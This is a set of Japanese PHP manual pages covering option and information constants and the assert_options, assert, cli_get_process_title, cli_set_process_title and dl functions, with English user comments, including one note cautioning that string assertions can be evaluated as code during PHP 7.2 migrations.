CREDITS_ALL | -1 | 全てのクレジット、CREDITS_DOCS + CREDITS_GENERAL + CREDITS_GROUP + CREDITS_MODULES + CREDITS_FULLPAGE を指定した場合と同じ。 この定数は、適当なタグを有する完全にスタンドアローンのHTMLページ を生成します。
phpinfo() の定数
定数 | 値 | 説明
INFO_GENERAL | 1 | configureオプション、php.ini の場所、構築日、Webサーバー、システム等。
INFO_CREDITS | 2 | PHP クレジット。phpcredits()も参照してください。
INFO_CONFIGURATION | 4 | PHPディレクティブの現在のローカルおよびマスター値。 ini_get()も参照してください。
INFO_MODULES | 8 | ロードされているモジュールとそれぞれの設定。
INFO_ENVIRONMENT | 16 | 環境変数に関する情報で、$_ENVでも入手可能です。
INFO_VARIABLES | 32 | EGPCS (Environment, GET, POST, Cookie, Server)から定義済の変数を表示します。
INFO_LICENSE | 64 | PHPライセンス情報。» license faqも参照してください。
INFO_ALL | -1 | 上記を全て表示します。これがデフォルト値です。
INI 定数
定数 | 値 | 説明
INI_USER | 1 | 未使用
INI_PERDIR | 2 | 未使用
INI_SYSTEM | 4 | 未使用
INI_ALL | 7 | 未使用

Assert 定数。これらの値を使用して、 assert_options() のオプションを設定します。

assert() 定数
定数 | INI 設定 | 説明
ASSERT_ACTIVE | assert.active | assert() の評価を有効にします。
ASSERT_CALLBACK | assert.callback | アサーションに失敗した場合に実行するコールバック。
ASSERT_BAIL | assert.bail | アサーションに失敗した時点に実行を中断します。
ASSERT_WARNING | assert.warning | アサーションに失敗するたびに PHP の警告を発行します。
ASSERT_QUIET_EVAL | assert.quiet_eval | アサーション式の評価中は error_reporting を無効にします。

次の定数は、ホスト OS が Windows の場合にのみ使用可能なものです。 バージョン情報を知ることができるので、さまざまな機能を使う際に役立ちます。 これらの定数は PHP 5.3.0 以降で使用可能です。

Windows 固有の定数
定数 | 説明
PHP_WINDOWS_VERSION_MAJOR | Windows のメジャーバージョン。4 (NT4/Me/98/95)、 5 (XP/2003 R2/2003/2000) あるいは 6 (Vista/2008/7/8/8.1) となります。
PHP_WINDOWS_VERSION_MINOR | Windows のマイナーバージョン。0 (Vista/2008/2000/NT4/95)、 1 (XP)、2 (2003 R2/2003/XP x64)、10 (98) あるいは 90 (ME) となります。
PHP_WINDOWS_VERSION_BUILD | Windows のビルド番号 (たとえば Windows Vista SP1 はビルド 6001 となります)。
PHP_WINDOWS_VERSION_PLATFORM | PHP が現在動作しているプラットフォーム。この値は Windows Vista/XP/2000/NT4, Server 2008/2003 では 2、 Windows ME/98/95 では 1 となります。
PHP_WINDOWS_VERSION_SP_MAJOR | インストールされているサービスパックのメジャーバージョン。サービスパックがインストールされていない場合は 0 となります。たとえば Windows XP にサービスパック 3 をインストールした場合、この値は 3 となります。
PHP_WINDOWS_VERSION_SP_MINOR | インストールされているサービスパックのマイナーバージョン。サービスパックがインストールされていない場合は 0 となります。
PHP_WINDOWS_VERSION_SUITEMASK | Windows のさまざまな機能がインストールされているかどうかを示すビットマスク。 各フィールドの意味については以下の表を参照ください。
PHP_WINDOWS_VERSION_PRODUCTTYPE | PHP_WINDOWS_NT_* 定数を決定するために使用する値を含みます。 この値は PHP_WINDOWS_NT_* 定数のいずれかとなり、 プラットフォームの形式を示します。
PHP_WINDOWS_NT_DOMAIN_CONTROLLER | これはドメインコントローラです。
PHP_WINDOWS_NT_SERVER | これはサーバーシステム (Server 2008/2003/2000 など) です。もしドメインコントローラである場合は PHP_WINDOWS_NT_DOMAIN_CONTROLLER と報告されることに注意しましょう。
PHP_WINDOWS_NT_WORKSTATION | これはワークステーションシステム (Vista/XP/2000/NT4 など) です。

この表は、PHP_WINDOWS_VERSION_SUITEMASK のビットマスクを使用して確認できる機能の一覧を示すものです。

Windows suitemask ビットフィールド
ビット | 説明
0x00000004 | Microsoft BackOffice コンポーネントがインストールされています。
0x00000400 | Windows Server 2003, Web Edition がインストールされています。
0x00004000 | Windows Server 2003, Compute Cluster Edition がインストールされています。
0x00000080 | Windows Server 2008 Datacenter, Windows Server 2003, Datacenter Edition あるいは Windows 2000 Datacenter Server がインストールされています。
0x00000002 | Windows Server 2008 Enterprise, Windows Server 2003, Enterprise Edition, Windows 2000 Advanced Server あるいは Windows NT Server 4.0 Enterprise Edition がインストールされています。
0x00000040 | Windows XP Embedded がインストールされています。
0x00000200 | Windows Vista Home Premium, Windows Vista Home Basic あるいは Windows XP Home Edition がインストールされています。
0x00000100 | リモートデスクトップに対応していますが、 ひとつのインタラクティブセッションしかサポートしていません。 この値は、システムがアプリケーションサーバーモードで実行中でない場合に設定されます。
0x00000001 | Microsoft Small Business Server がかつてインストールされていましたが、 Windows の別のバージョンにアップグレードされました。
0x00000020 | Microsoft Small Business Server が、制限クライアントライセンスでインストールされています。
0x00002000 | Windows Storage Server 2003 R2 あるいは Windows Storage Server 2003 がインストールされています。
0x00000010 | ターミナルサービスがインストールされています。 この値は常に設定されています。もしこの値が設定されているのに 0x00000100 が設定されていなければ、 そのシステムはアプリケーションサーバーモードで動作しています。
0x00008000 | Windows Home Server がインストールされています。

User Contributed Notes

There are no user contributed notes for this page.


PHP オプション/情報 関数

目次

  • assert_options — 様々な assert フラグを設定/取得する
  • assert — assertion が false であるかどうかを調べる
  • cli_get_process_title — 現在のプロセスのタイトルを返す
  • cli_set_process_title — プロセスのタイトルを設定する
  • dl — 実行時に PHP 拡張モジュールをロードする
  • extension_loaded — ある拡張機能がロードされているかどうかを調べる
  • gc_collect_cycles — すべての既存ガベージサイクルを強制的に収集する
  • gc_disable — 循環参照コレクタを無効にする
  • gc_enable — 循環参照コレクタを有効にする
  • gc_enabled — 循環参照コレクタの状態を返す
  • gc_mem_caches — Zend Engine のメモリーマネージャによって使用されたメモリーを再利用する
  • gc_status — ガベージコレクタに関する情報を取得する
  • get_cfg_var — PHP 設定オプションの値を取得する
  • get_current_user — 現在の PHP スクリプトの所有者の名前を取得する
  • get_defined_constants — すべての定数の名前とその値を連想配列として返す
  • get_extension_funcs — あるモジュールの関数名を配列として返す
  • get_include_path — 現在の include_path 設定オプションを取得する
  • get_included_files — include または require で読み込まれたファイルの名前を配列として返す
  • get_loaded_extensions — コンパイル/ロードされている全てのモジュールの名前を配列として返す
  • get_magic_quotes_gpc — magic_quotes_gpc の現在の設定を得る
  • get_magic_quotes_runtime — magic_quotes_runtime の現在アクティブな設定値を取得する
  • get_required_files — get_included_files のエイリアス
  • get_resources — アクティブなリソースを返す
  • getenv — 環境変数の値を取得する
  • getlastmod — 最終更新時刻を取得する
  • getmygid — PHP スクリプトの所有者の GID を得る
  • getmyinode — 現在のスクリプトの inode を取得する
  • getmypid — PHP のプロセス ID を取得する
  • getmyuid — PHP スクリプト所有者のユーザー ID を取得する
  • getopt — コマンドライン引数のリストからオプションを取得する
  • getrusage — 現在のリソース使用状況を取得する
  • ini_alter — ini_set のエイリアス
  • ini_get_all — すべての設定オプションを得る
  • ini_get — 設定オプションの値を得る
  • ini_restore — 設定オプションの値を元に戻す
  • ini_set — 設定オプションの値を設定する
  • main — main のダミー
  • memory_get_peak_usage — PHP によって割り当てられたメモリの最大値を返す
  • memory_get_usage — PHP に割り当てられたメモリの量を返す
  • php_ini_loaded_file — 読み込まれた php.ini ファイルのパスを取得する
  • php_ini_scanned_files — 追加の ini ディレクトリにある .ini ファイルのリストを取得する
  • php_sapi_name — ウェブサーバーと PHP の間のインターフェイスの型を返す
  • php_uname — PHP が稼動しているオペレーティングシステムに関する情報を返す
  • phpcredits — PHP に関するクレジットを出力する
  • phpinfo — PHP の設定情報を出力する
  • phpversion — 現在の PHP バージョンを取得する
  • putenv — 環境変数の値を設定する
  • restore_include_path — include_path 設定オプションの値を元に戻す
  • set_include_path — include_path 設定オプションをセットする
  • set_time_limit — 実行時間の最大値を制限する
  • sys_get_temp_dir — 一時ファイル用に使用されるディレクトリのパスを返す
  • version_compare — ふたつの "PHP 標準" バージョン番号文字列を比較する
  • zend_thread_id — 現在のスレッドの一意な ID を返す
  • zend_version — 現在の Zend Engine のバージョンを取得する

User Contributed Notes

gilthansNOSPAAM at gmailSPAAMBLOCK dot com 15-Mar-2005 05:04
Note: when magic_quotes_gpc is ON, it will also slash values inside both $_SERVER['QUERY_STRING'] and $_SERVER['SCRIPT_NAME'] (and equivalents) will also be slashed.
Mark 14-Jun-2004 05:37
You probably don't want to set "magic_quotes_runtime" because it affects even binary file read/write operations. This is especially problematic if you include someone else's library that depends on binary read/write. If you enable "magic_quotes_runtime", be sure to use set_magic_quotes_runtime() function call to disable it before calling someone else's library that does binary read/write.


様々な assert フラグを設定/取得する

  • ≪ PHP オプション/情報 関数
  • assert ≫
  • PHP Manual
  • PHP オプション/情報 関数
  • 様々な assert フラグを設定/取得する

assert_options

(PHP 4, PHP 5, PHP 7, PHP 8)

assert_options — 様々な assert フラグを設定/取得する

説明

assert_options ( int $what , mixed $value = ? ) : mixed

種々の assert() 制御オプションを設定したり、 単に現在の設定を調べたりします。

注意: PHP 7.0.0 以降では、 assert_options() を使うことはお勧めできません。 php.ini のディレクティブ zend.assertions と assert.exception を ini_set() や ini_get() で取得したり設定したりする方が望ましいです。

パラメータ

what

assert オプション
オプション | INI 設定 | デフォルト値 | 説明
ASSERT_ACTIVE | assert.active | 1 | assert() による評価を有効にする
ASSERT_WARNING | assert.warning | 1 | assersion に失敗した場合に PHP 警告を発生する
ASSERT_BAIL | assert.bail | 0 | assersion に失敗した場合に実行を終了する
ASSERT_QUIET_EVAL | assert.quiet_eval | 0 | assersion 式については error_reporting を無効にする
ASSERT_CALLBACK | assert.callback | (null) | assertion に失敗した場合にコールされるコールバック

value

オプションに指定する新しい値。

ASSERT_CALLBACK 定数または assert.callback に設定するコールバック関数は、次のようなシグネチャを持つべきです:

assert_callback ( string $file , int $line , string $assertion , string $description = ? ) : void
file
assert() 関数がコールされたファイル名
line
assert() 関数がコールされた行番号
assertion
assert() 関数に渡した assertion を文字列に変換したもの
description
assert() 関数に渡された説明

value に空文字列を渡すと、assertコールバックはリセットされます。

返り値

そのオプションの元の値、あるいはエラー時に false を返します。

例

例1 assert_options() の例

<?php
// これは、assert に失敗した際の
// 処理を行う関数です
function assert_failure($file, $line, $assertion, $message)
{
    echo "The assertion $assertion in $file on line $line has failed: $message";
}

// これがテスト関数です
function test_assert($parameter)
{
    assert(is_bool($parameter));
}

// assert オプションを設定します
assert_options(ASSERT_ACTIVE,   true);
assert_options(ASSERT_BAIL,     true);
assert_options(ASSERT_WARNING,  false);
assert_options(ASSERT_CALLBACK, 'assert_failure');

// 失敗する assert です
test_assert(1);

// ASSERT_BAIL が true なので
// 決してここには到達しません
echo 'Never reached';
?>

参考

  • assert() - assertion が false であるかどうかを調べる

User Contributed Notes

20-Jul-2003 04:25
Here is an exemple how to use the assertion callback function :

<?php
  assert_options( ASSERT_CALLBACK, 'assert_callback');

  function assert_callback( $script, $line, $message ) {
    echo 'You have a design error in your script <b>', $script,'</b> : line <b>', $line,'</b> :<br />';
    echo '<b>', ereg_replace( '^.*//\*', '', $message ), '</b><br /><br />';
    echo 'Open the source file and check it, because it\'s not a normal behaviour !';
    exit;
  }

  $x = 3;
  assert('is_integer( $x ) && ($x >= 0) && ($x <= 10); //* $x must be an integer value from 0 to 10' );
  echo "0 <= $x <= 10";
?>

assertion is usefull for "design by contract" methodology ...


assertion が false であるかどうかを調べる

  • ≪ assert_options
  • cli_get_process_title ≫
  • PHP Manual
  • PHP オプション/情報 関数
  • assertion が false であるかどうかを調べる

assert

(PHP 4, PHP 5, PHP 7, PHP 8)

assert — assertion が false であるかどうかを調べる

説明

PHP 5 および PHP 7

assert ( mixed $assertion , string $description = ? ) : bool

PHP 7

assert ( mixed $assertion , Throwable $exception = ? ) : bool

assert() は、指定した assertion を調べて、結果が false の場合に適切な動作をします。

従来のアサーション (PHP 5 および 7)

assertion が文字列として指定された場合、 assert()によりPHPコードとして評価されます。 もし論理型の条件を assertion として渡した場合、 assert_options() 関数で定義したであろう アサーション関数への引数として表示されません。 その条件はハンドラ関数をコールする前に文字列に変換され、論理型の false は空文字列に変換されます。

assertion は、デバッグ目的にのみ使用するべきです。 assertion を常にtrueとなる条件を調べる不具合診断に使用し、true でない場合に何らかのプログラミングエラーを示したり、extension 関数または特定のシステム制限や機能といった、 特定の機能の存在をチェックするために使用することが可能です。

assersion は、入力パラメータのチェックのような通常の実行動作に 使用するべきではありません。一般的には、assertion のチェックを無効にしても そのコードが正常に動作しなければなりません。

assert() の動作は、 assert_options() またはマニュアルの関数の部分 に記述された .ini の設定により設定することが可能です。

関数 assert_options() や ASSERT_CALLBACK 設定ディレクティブにより失敗した assertion を処理するコールバック関数を設定することが可能です。

assert() のコールバックは、assertion が発生した場所に関する情報と共に assertion に渡されたコードを容易にキャプチャーできるため、 特に自動テストセットを構築する際に便利です。 この情報は他の手法でもキャプチャー可能ですが、assertion を使用することにより、より簡単かつ容易に行なうことが可能です!

コールバック関数は、3つの引数を受ける必要があります。最初の引数は、 assertionが失敗したファイルが含まれます。2番目の引数には、 assertionが失敗した行が含まれ、3番目の引数には失敗した式が含まれます (もしある場合のみ。1 または "two" のようなリテラルの値は、 この引数に渡されません)。 PHP 5.4.8 以降では、オプションの4番目の引数を指定できます。これを設定すると、 description を assert() に渡せるようになります。

Expectation (PHP 7 のみ)

assert() は PHP 7 で言語構造となり、expectation の定義を満たすようになりました。 すなわち、開発環境やテスト環境では有効であるが、運用環境では除去されて、まったくコストのかからないアサーションということです。

下位互換性を保つために、assert_options() でこれらの挙動を制御することもできますが、 PHP 7 以降でしか使わないコードでは、新たに導入された二つの設定ディレクティブを使って assert() の挙動を制御しましょう。 そして assert_options() は使わないようにしましょう。

PHP 7 における assert() 用の設定ディレクティブ
ディレクティブ デフォルト値 取り得る値
zend.assertions 1
  • 1: コードを生成して実行する (開発モード)
  • 0: コードを生成するが、実行時には読み飛ばす
  • -1: コードを生成しない (運用モード)
assert.exception 0
  • 1: アサーションに失敗した場合には、 exception で指定したオブジェクトをスローするか、 exception を指定していない場合は AssertionError オブジェクトをスローします。
  • 0: 先述の Throwable を使ったり生成したりしますが、 そのオブジェクト上で警告を生成するだけであり、スローしません (PHP 5 と互換性のある挙動です)。

パラメータ

assertion

アサーション。 PHP 5 では、評価対象の文字列か、あるいは bool 値しか指定できませんでした。 PHP 7 ではそれ以外にも、値を返すあらゆる式を指定できます。 この式を実行した結果を用いて、アサーションに成功したか否かを判断します。

警告

assertion に string を使うのは PHP 7.2 以降は 推奨されません

description

オプションの説明です。 assertion が失敗したときのメッセージを設定します。 PHP 7 からは、この説明が指定されない場合、 assert() を呼び出したソースコードに関するデフォルトの説明が設定されます。

exception

PHP 7 では、第二パラメータに、文字列だけではなく Throwable オブジェクトを指定できるようになりました。 これを指定した場合は、 assert.exception が有効で かつアサーションに失敗した場合に、そのオブジェクトをスローします。

返り値

アサーションが false となった場合に false、それ以外の場合に true を返します。

変更履歴

バージョン | 説明
7.2.0 | assertion に string を使うことは 推奨されなくなりました。 assert.active と zend.assertions が 両方 1 に設定されると、 E_DEPRECATED レベルの警告が発生するようになりました。
7.0.0 | assert() が言語構造となり、関数ではなくなりました。 assertion に式を指定できるようになりました。 第二パラメータは、 exception (Throwable オブジェクトを渡した場合) あるいは description (PHP 5.4.8 以降でサポートされていたもの) のいずれかであると解釈されるようになりました。

例

従来のアサーション (PHP 5 および 7)

例1 失敗した assertion をカスタムハンドラで処理する

<?php
// assertを有効にし、出力を抑制する
assert_options(ASSERT_ACTIVE, 1);
assert_options(ASSERT_WARNING, 0);
assert_options(ASSERT_QUIET_EVAL, 1);

// ハンドラ関数を作成する
function my_assert_handler($file, $line, $code)
{
    echo "<hr>Assertion Failed:
        File '$file'<br />
        Line '$line'<br />
        Code '$code'<br /><hr />";
}

// コールバックを設定する
assert_options(ASSERT_CALLBACK, 'my_assert_handler');

// 失敗するassertionを作成
assert('mysql_query("")');
?>

例2 カスタムハンドラを使った説明の表示

<?php
// assertを有効にし、出力を抑制する
assert_options(ASSERT_ACTIVE, 1);
assert_options(ASSERT_WARNING, 0);
assert_options(ASSERT_QUIET_EVAL, 1);

// ハンドラ関数を作成する
function my_assert_handler($file, $line, $code, $desc = null)
{
    echo "Assertion failed at $file:$line: $code";
    if ($desc) {
        echo ": $desc";
    }
    echo "\n";
}

// コールバックを設定する
assert_options(ASSERT_CALLBACK, 'my_assert_handler');

// 失敗するassertionを作成
assert('2 < 1');
assert('2 < 1', 'Two is less than one');
?>

上の例の出力は以下となります。

 Assertion failed at test.php:21: 2 < 1
 Assertion failed at test.php:22: 2 < 1: Two is less than one

Expectation (PHP 7 のみ)

例3 自作の例外を指定しない expectation

<?php
assert(true == false);
echo 'Hi!';
?>

zend.assertions が 0 の場合は、上の例の結果は次のようになります。

Hi!

zend.assertions が 1、かつ assert.exception が 0 の場合は、上の例の結果は次のようになります。

Warning: assert(): assert(true == false) failed in - on line 2
Hi!

zend.assertions が 1、かつ assert.exception が 1 の場合は、上の例の結果は次のようになります。

Fatal error: Uncaught AssertionError: assert(true == false) in -:2
Stack trace:
#0 -(2): assert(false, 'assert(true == ...')
#1 {main}
  thrown in - on line 2

例4 自作の例外を用いた expectation

<?php
class CustomError extends AssertionError {}

assert(true == false, new CustomError('True is not false!'));
echo 'Hi!';
?>

zend.assertions が 0 の場合は、上の例の結果は次のようになります。

Hi!

zend.assertions が 1、かつ assert.exception が 0 の場合は、上の例の結果は次のようになります。

Warning: assert(): CustomError: True is not false! in -:4
Stack trace:
#0 {main} failed in - on line 4
Hi!

zend.assertions が 1、かつ assert.exception が 1 の場合は、上の例の結果は次のようになります。

Fatal error: Uncaught CustomError: True is not false! in -:4
Stack trace:
#0 {main}
  thrown in - on line 4

参考

  • assert_options() - 様々な assert フラグを設定/取得する

User Contributed Notes

Tom 08-Oct-2019 09:01
When migrating older code to PHP 7.2+, you may get E_DEPRECATED warnings for every call to assert() you ever wrote, urging you to not pass the assertion as a string.

It may be tempting to just run a regular expression across your files to convert all strings within "assert(...)" to statements. But, before you do that, be aware of the following caveat!

For example, this code simply asserts that $input is not empty.

assert('$input;');

This works, because the string passed to assert() is evaluated as a PHP statement and the result cast to Boolean.

If you want to have an equivalent statement that doesn't pass the first parameter as a string, your regular expression should rewrite this statement as:

assert((bool) ($input));

However, this looks a bit bulky and it is tempting to instead opt for the more direct approach to convert the above line to this:

assert($input);

But! This new statement will do one of three things:

1) Looks as if it worked as intended because $input just happens to be Boolean to begin with
2) Throw a parse error if $input is a string (best case)
3) Allow an attacker on a poorly configured server to execute arbitrary PHP-Code (worst case)

The reason is that, even though on PHP 7.2+ a E_DEPRECATED warning is raised, if assert() finds the first parameter to be a string, it will still execute it as PHP-Code, just as if it was called with a string to begin with.

If an attacker finds a way to manipulate the contents of $input, you might end up with a remote code execution vulnerability. So just be extra careful when migrating assertions.
jason at jaypha dot com 29-Dec-2017 11:13
You can take advantage of how assert is handled to use it for crude conditional compilation.

For example

<?php
  assert(print("Some debug message\n"));
  assert(($val = "dev") || true);
?>

Since print() always returns 1, the topmost assertion will pass. For others, you may need to add a || true. Always enclose the expression in ().

In a development environment where zend.assertions=1, the above code will execute. In production environments where zend.assertions=-1, it wont even compile, thus not burdening performance.

Another, more real world, example.

<?php
  $cssSrc = 'https://code.jquery.com/jquery-3.2.1.min.js';
  assert(($cssSrc = 'http://dev.local/jquery-3.2.1.js') || true);
  echo "<link rel='stylesheet' type='text/css' href='$cssSrc'/>\n";
?>

In a production environment, The website will use the minified version from the CDN. In a development environment, a development version, sourced locally, will be used instead.

Note: This will not work for everything. Only code that can be embedded in an expression will work.
Ben 26-Aug-2016 09:51
if there was no 'warning' message when assertion failed (FALSE), try reset the error handler:
<?php
set_error_handler ( null );
office dot stojmenovic at gmail dot com 20-Sep-2013 12:35
Example from Ikac Framework how they use assert()

<?php

    /**
     * Set Assertion Debug
     *
     * This method will check the given assertion and take appropriate -
     * action if its result is FALSE.
     *
     * This file is part of Ikac Framework.
     *
     * @package Ikac Framework
     * @author Ivan Stojmenovic Ikac <contact.@stojmenovic.info>
     *
     * @param mixed $assertion  The assertion.
     * @param mixed $callback Callback to call on failed assertions
     * @param array $options  Set the various control options or just query their current settings.
     * @param string $description  An optional description that will be included in the failure message if the assertion fails.
     */
    public function setAssertionDebug($assertion, $callback, array $options, $description = null)
    {
        if (is_array($options)) {
            foreach ($options AS $option => $value) {
                assert_options($option, $value);
            }
        }
        if ($callback) {
            assert_options(ASSERT_CALLBACK, $callback);
        }

        return assert($assertion, $description);
    }
    ?>

How to use:

<?php
      use Ikac\Component\SystemBehaviour\OptionsInfo;

      $system = new OptionsInfo();

      $option = array(ASSERT_ACTIVE => 1,ASSERT_WARNING => 0,ASSERT_QUIET_EVAL => 1);

     $system->setAssertionDebug('2<1', function(){
            echo "Assertion failed";
     }, $option);

?>
uramihsayibok, gmail, com 20-Jun-2010 01:48
There's a nice advantage to giving assert() some code to execute, as a string, rather than a simple true/false value: commenting.

<?php

assert('is_int($int) /* $int parameter must be an int, not just numeric */');

// and my personal favorite
assert('false /* not yet implemented */');

?>

The comment will show up in the output (or in your assertion handler) and doesn't require someone debugging to go through your code trying to figure out why the assertion happened. That's no excuse to not comment your code, of course.

You need to use a block comment (/*...*/) because a line comment (//...) creates an "unexpected $end" parse error in the evaluated code. Bug? Could be.
(You can get around it with "false // not yet implemented\n" but that screws up the message)
hodgman at ali dot com dot au 28-Jul-2008 09:19
As noted on Wikipedia - "assertions are primarily a development tool, they are often disabled when a program is released to the public." and "Assertions should be used to document logically impossible situations and discover programming errors— if the 'impossible' occurs, then something fundamental is clearly wrong. This is distinct from error handling: most error conditions are possible, although some may be extremely unlikely to occur in practice. Using assertions as a general-purpose error handling mechanism is usually unwise: assertions do not allow for graceful recovery from errors, and an assertion failure will often halt the program's execution abruptly. Assertions also do not display a user-friendly error message."

This means that the advice given by "gk at proliberty dot com" to force assertions to be enabled, even when they have been disabled manually, goes against best practices of only using them as a development tool.
Krzysztof &#39;ChanibaL&#39; Bociurko 01-Oct-2007 06:13
Note that func_get_args() should be used carefully and never in a string! For example:

<?php
function asserted_normal($a, $b) {
    assert(var_dump(func_get_args()));
    }
function asserted_string($a, $b) {
    assert('var_dump(func_get_args())');
    }
?>

<?php asserted_normal(1,2) ?> prints
array(2) {
  [0]=>
  int(1)
  [1]=>
  int(2)
}

but <?php asserted_string(3,4) ?> prints
array(1) {
  [0]=>
  string(25) "var_dump(func_get_args())"
}

This is because of that the string passed to assert() is being evaled inside assert, and not your function. Also, note that this works correctly, because of the eval scope:

<?php
function asserted_evaled_string($a, $b) {
    assert(eval('var_dump(func_get_args())'));
    }
asserted_evaled_string(5,6);
?>
array(2) {
  [0]=>
  int(5)
  [1]=>
  int(6)
}

(oh, and for simplicity's sake the evaled code doesn't return true, so  don't worry that it fails assertion...)
mail<at>aaron-mueller.de 13-Sep-2006 10:51
Here is a simple demonstration of Design By Contract with PHP

<?php

assert_options(ASSERT_ACTIVE, 1);
assert_options(ASSERT_WARNING, 0);
assert_options(ASSERT_BAIL, 1);
assert_options(ASSERT_CALLBACK, 'dcb_callback');

function dcb_callback($script, $line, $message) {
    echo "<h1>Condition failed!</h1><br />
        Script: <strong>$script</strong><br />
        Line: <strong>$line</strong><br />
        Condition: <br /><pre>$message</pre>";
}

// Parameters
$a = 5;
$b = 'Simple DCB with PHP';

// Pre-Condition
assert('
    is_integer($a) &&
    ($a > 0) &&
    ($a < 20) &&

    is_string($b) &&
    (strlen($b) > 5);
');

// Function
function combine($a, $b) {
    return "Kombined: " . $b . $a;
}

$result = combine($a, $b);

// Post-Condition
assert('
    is_string($result) &&
    (strlen($result) > 0);
');

// All right, the Function works fine
var_dump($result);

?>


現在のプロセスのタイトルを返す

  • ≪ assert
  • cli_set_process_title ≫
  • PHP Manual
  • PHP オプション/情報 関数
  • 現在のプロセスのタイトルを返す

cli_get_process_title

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

cli_get_process_title — 現在のプロセスのタイトルを返す

説明

cli_get_process_title ( ) : string|null

現在のプロセスのタイトルを返します。これは cli_set_process_title() で設定したものです。 これは、ps や top で表示されるタイトルと必ずしも一致するとは限りません。OS に依存します。

この関数は、 CLI モードでしか使えません。

パラメータ

この関数にはパラメータはありません。

返り値

現在のプロセスのタイトルを文字列で返します。エラー時には null を返します。

エラー / 例外

OS がこの機能に対応していない場合に E_WARNING が発生します。

例

例1 cli_get_process_title() の例

<?php
echo "Process title: " . cli_get_process_title() . "\n";
?>

参考

  • cli_set_process_title() - プロセスのタイトルを設定する

User Contributed Notes

pgl at yoyo dot org 30-Jan-2014 11:20
For versions of PHP < 5.5.0, you can get the name of the script from $argv[0]: http://www.php.net/manual/en/reserved.variables.argv.php


プロセスのタイトルを設定する

  • ≪ cli_get_process_title
  • dl ≫
  • PHP Manual
  • PHP オプション/情報 関数
  • プロセスのタイトルを設定する

cli_set_process_title

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

cli_set_process_title — プロセスのタイトルを設定する

説明

cli_set_process_title ( string $title ) : bool

プロセスのタイトルを設定します。これは top や ps といったツールで表示されます。 この関数は、 CLI モードでしか使えません。

パラメータ

title

新しいタイトル。

返り値

成功した場合に true を、失敗した場合に false を返します。

エラー / 例外

OS がこの機能に対応していない場合に E_WARNING が発生します。

例

例1 cli_set_process_title() の例

<?php
$title = "My Amazing PHP Script";
$pid = getmypid(); // これを使えば、プロセスのタイトルを ps で確認できます

if (!cli_set_process_title($title)) {
    echo "Unable to set process title for PID $pid...\n";
    exit(1);
} else {
    echo "The process title '$title' for PID $pid has been set for your process!\n";
    sleep(5);
}
?>

参考

  • cli_get_process_title() - 現在のプロセスのタイトルを返す
  • setproctitle() - プロセスのタイトルを設定

User Contributed Notes

Aurelien Marchand 01-Nov-2019 01:24
Please note that the function might be inconsistent depending on your system.

On 2 of my systems (CentOS 7.7 and Linux Mint 18.3), setting the title will work for ps but not for top.

<?php
cli_set_process_title("sleeping-daemon");
sleep(100);

/*
 *ps* returns
25072 pts/2  S  0:00   sleeping-daemon

*top*  returns
25072 aurelien  20   0  285848  23256  16856 S   0.0  0.3   0:00.01 php

*/
aaron dot mason+php at thats-too-much dot info 08-Aug-2017 04:07
In Windows, this function will set the Command Prompt window title, which is restored to the previous setting once the script finishes.  If you need to do this in 5.5.X and below, you'll need to use system() to run the title command.
code at edoceo dot com 12-Mar-2014 07:14
Setting proc title on PHP based daemons is pretty sweet.


実行時に PHP 拡張モジュールをロードする

  • ≪ cli_set_process_title
  • extension_loaded ≫
  • PHP Manual
  • PHP オプション/情報 関数
  • 実行時に PHP 拡張モジュールをロードする

dl

(PHP 4, PHP 5, PHP 7, PHP 8)

dl — 実行時に PHP 拡張モジュールをロードする

説明

dl ( string $extension_filename ) : bool

extension_filename で指定された PHP 拡張モジュールを読み込みます。

その拡張モジュールが既に使用可能かどうかを調べるには、 extension_loaded() を使用します。 これは、組み込みのモジュールと (php.ini か、あるいは dl() を使用して) 動的に読み込むモジュールの両方に対応しています。

警告

この関数は、PHP 5.3 以降で大半の SAPI からは削除されました。 また、PHP 7.0.0 では PHP-FPM からも削除されました。

パラメータ

extension_filename

このパラメータに指定できるのは拡張モジュールの ファイル名だけであり、それはプラットフォームに依存します。 例えば、Unix プラットフォームでは sockets 拡張モジュール (共有モジュールとしてコンパイルされていれば。デフォルトでは有りません!) は sockets.so と呼ばれていますし、一方 Windows プラットフォームでは php_sockets.dll と呼ばれます。

拡張モジュールを読み込むディレクトリは、プラットフォームによって異なります。

Windows - php.ini に明記されていない場合、デフォルトでは 拡張モジュールは、C:\php5\ からロードされます。

Unix - php.ini に明記されていない場合、デフォルトでは 以下に依存します。

  • PHP をビルドする際に --enable-debug を指定しているか否か
  • PHP をビルドする際に (実験段階の) ZTS (Zend Thread Safety) サポートを有効にしているか否か
  • 現在の ZEND_MODULE_API_NO(Zend 内部モジュール API 番号。基本的にはメジャーモジュール API の変更が発生した日時。 例:20010901)
上記を考慮して、ディレクトリのデフォルトは <install-dir>/lib/php/extensions/ <debug-or-not>-<zts-or-not>-ZEND_MODULE_API_NO となる。 例: /usr/local/php/lib/php/extensions/debug-non-zts-20010901 または /usr/local/php/lib/php/extensions/no-debug-zts-20010901.

返り値

成功した場合に true を、失敗した場合に false を返します。 拡張モジュールのロード機能が無効だったり、あるいは 無効化されている(enable_dl でオフにされている)場合は、 E_ERROR を発行して実行は停止されます。 指定されたライブラリをロードできず dl() が 失敗した場合、false に加えて E_WARNING メッセージが 発行されます。

例

例1 dl() の例

<?php
// OS によってロードするファイルを切り替える
if (!extension_loaded('sqlite')) {
    if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
        dl('php_sqlite.dll');
    } else {
        dl('sqlite.so');
    }
}

// または PHP_SHLIB_SUFFIX 定数を使用
if (!extension_loaded('sqlite')) {
    $prefix = (PHP_SHLIB_SUFFIX === 'dll') ? 'php_' : '';
    dl($prefix . 'sqlite.' . PHP_SHLIB_SUFFIX);
}
?>

注意

注意:

dl() は、ZTS サポートつきでビルドされた PHP ではサポートされていません。かわりに 拡張モジュール読み込みディレクティブ を使ってください。

注意:

dl() は Unix プラットフォーム上では 大文字小文字を区別します。

参考

  • 拡張モジュール読み込み用のディレクティブ
  • extension_loaded() - ある拡張機能がロードされているかどうかを調べる

User Contributed Notes

anrdaemon at freemail dot ru 29-Sep-2016 12:17
Like with eval(), the only correct way to use dl() is to not use it.
Test if a function(s) you intend to use are available.
If not, complain to the user or implement a workaround.
Not to mention dl() issues in a multithreading environment.
K. C. 18-Nov-2014 03:42
It would be nice to know which SAPIs removed the function.

Telling me 'This function has been removed from some SAPIs in PHP 5.3.' is pretty much useless and I feel mocked. Or do the writers of the documentation don't know from which SAPIs it has been removed?
